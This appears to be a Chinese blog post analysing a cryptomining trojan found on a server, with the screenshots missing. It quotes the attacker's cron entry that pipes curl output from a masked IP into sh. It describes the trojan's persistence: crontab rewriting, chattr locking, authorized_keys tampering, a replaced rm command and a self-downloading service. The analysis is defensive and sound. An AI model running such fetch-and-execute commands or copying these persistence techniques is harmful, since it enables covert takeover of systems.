* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh-f:不输出错误
-s: 静默不输出
-S: -s 条件下输出错误
-L: 跟踪重定向
文章插图
在确定了攻击者攻击并没有成功以后,我下载了木马,然后简单的分析了一下,看看有没有什么操作我没有检测到的 。
1.看一下 main 函数整体的调用
文章插图
可以说是非常的简洁明了了,木马开始运行以后依次调用了
mark() background()sethosts()checkhost()checkzigw()initfiles()checkcrontab()checkssh()kill()checkservice()clean()从函数名字大概就能知道木马做了些什么,应该对 crontab ssh hosts 文件都做了修改,我们来一个一个看一看 。
2.mark()
文章插图
简单的创建了一条命令,并通过 sys 函数进行执行,这个命令的作用是创建一个空文件,从 mark() 这个函数名字可以猜测来这个空文件的作用可能是做为一个该木马有没有成功运行起来的标记
3.background()
文章插图
设置进程后台运行,并改变工作目录为根目录
4.checkhost()
文章插图
删除主机原始的 hosts 文件然后,重新创建空的 hosts 文件,并添加一系列的域名指向 127.0.0.1
而这些域名经过访问都是一些矿池
文章插图
文章插图
5.checkzigw()
文章插图
检测系统中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,这些文件,如果有的话,就结束对应的进程并且删除对应的文件
其中:chattr -ia 这条命令是关闭可能让文件无法删除的属性,具体可以看 这里
6.initfiles()
该函数的作用主要是下载挖矿木马,并且修改 rm,首先是会检测当前的权限,如果是 root 就把木马下载到 /etc 目录下,如果不是 root 的话就下载到 /tmp 目录下
root 权限
文章插图
非 root 权限
文章插图
除了下载 pdvs 以外,还下载了 httpdz 和 migrations 这两个文件,除此之外如果是在 root 权限下就还有一个替换系统 rm 命令的操作
文章插图
rm 文件只有一个函数,既然替换了这个文件,那么一定是非常关键的东西,我们来分析一下
文章插图
这脚本的地址是什么呢?看一下 curlurl 变量的交叉引用
文章插图
其实下载下来就是我们最上面分析的那个 sh 文件,也就是说这里的替换实际上是一个双重保险
7.checkcrontab()
该函数主要是对 /var/spool/cron/root 这个文件的内容进行检查,看看是不是有自己写的内容,如果没有则调用命令重新写入
文章插图
另外这里面还使用了 chattr 这个命令对文件的额外属性进行添加和删除,防止文件内容被轻易修改,例如:
chattr +i 防止系统中某个关键文件被修改
chadttr +a 让某个文件只能往里面追加数据,但不能删除
文章插图
8.checkssh()
root 权限下可执行这个函数,检查 /root/.ssh/authorized_keys 是否存在,不存在则重新创建
文章插图
9.kill()
清理自己创建的一些进程和文件
文章插图
10.checkservice()
检测自己创建的系统服务存在,如果存在则设置开机自启,如果不存在则重新创建这个服务,服务的作用就是下载这个木马
推荐阅读
- Redis快的秘诀
- 电饼铛第一次使用有烧焦味 电饼铛第一次用冒烟正常吗
- 主板怎么选?来看看这几款吧
- 抖音直播dou+推广有效果吗 抖音投放dou后对账号有什么影响吗
- 西山品虫茶
- 男生介绍对象是试探吗,男生把你推给另一个男生怎么回
- 对眼睛有帮助的食物,除了胡萝卜,还有什么食物
- 居家消毒,你做对了吗
- 汽车应该多少公里大保养一次,保养什么,多少钱
- 快手小店信息通知提醒